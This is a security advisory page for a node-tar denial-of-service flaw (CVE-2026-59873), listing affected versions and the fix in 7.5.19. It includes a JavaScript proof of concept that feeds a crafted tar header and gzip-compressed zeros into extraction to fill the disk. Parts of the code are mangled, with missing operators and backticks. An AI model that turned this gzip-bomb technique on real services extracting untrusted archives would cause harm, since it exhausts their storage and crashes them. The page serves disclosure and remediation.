CVE-2026-59873: node-tar: Decompression/parse DoS via unlimited input

Published Jul 8, 2026
·
Updated

Summary A Decompression/parse DoS via unlimited input vulnerability in node-tar allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

Details The node-tar library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the maxReadSize option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in src/extract.ts, the Unpack stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). node-tar will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

PoC The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

1. Create the exploit script: javascript const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dostest'; if (fs.existsSync(d)) fs.rmSync(d, {recursive:true}); fs.mkdirSync(d);

// Build 10GB header const h = Buffer.alloc(512); h.write('payload'); h.write((1010243).toString(8).padStart(11,'0'), 124); h.write('ustar', 257); let s = 256; for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i]; h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip(); gz.pipe(t.x({cwd: d})); gz.write(h);

const b = Buffer.alloc(32 1024 1024); // 32MB chunks for speed

const run = () => { while (gz.write(b)); gz.once('drain', run); };

const monitor = setInterval(() => { try { const bytes = fs.statSync(${d}/payload).size; const mb = Math.floor(bytes / (1024 1024)); process.stdout.write(\r[>] Extracted: ${mb} MB); if (mb > 5000) { console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); process.exit(); } } catch {} }, 50);

process.on('exit', () => { clearInterval(monitor); console.log('[] Cleaning up...'); if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true}); });

run();

2. Run the PoC: bash node poc.js

Observation: You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

Impact This is a Denial of Service (DoS) vulnerability. It impacts any application or service that uses node-tar to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.

Other sources

node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.19, node-tar does not enforce hard upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts, allowing a small crafted gzip bomb to exhaust disk space and CPU. This issue is fixed in version 7.5.19.

MITRE

Affected Software

3 affected componentsFixes available
Node.js node-tar<7.5.19
isaacs Tar Node.js<7.5.19
npm/tar<=7.5.18
7.5.19

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/tar to a version that resolves this vulnerability.

    Fixed in 7.5.19
  2. Upgrade

    Upgrade node-tar to a version that resolves this vulnerability.

    Fixed in 7.5.19
  3. Compensating control

    Apply an external resource-limiting control for archive extraction from untrusted users (e.g., restrict/limit the environment’s available disk/CPU for extraction jobs) so a crafted gzip bomb cannot exhaust host resources during node-tar extraction.

Event History

Jul 8, 2026
CVE Published
via MITRE·03:22 PM
Data Sourced
via MITRE·03:22 PM
DescriptionWeakness
Data Sourced
via NVD·04:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 20, 2026
Advisory Published
via GitHub·09:52 PM
Data Sourced
via GitHub·09:52 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59873?

CVE-2026-59873 is rated as critical with a severity score of 9.2.

2

How do I fix CVE-2026-59873?

To mitigate CVE-2026-59873, update node-tar to version 7.5.19 or later.

3

What type of vulnerability is CVE-2026-59873?

CVE-2026-59873 is a Denial of Service (DoS) vulnerability due to unlimited input handling.

4

What software is affected by CVE-2026-59873?

CVE-2026-59873 affects the node-tar library used in Node.js applications.

5

What is the impact of CVE-2026-59873?

The vulnerability can cause exhaustion of disk space by enabling crafted gzip bombs during decompression.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203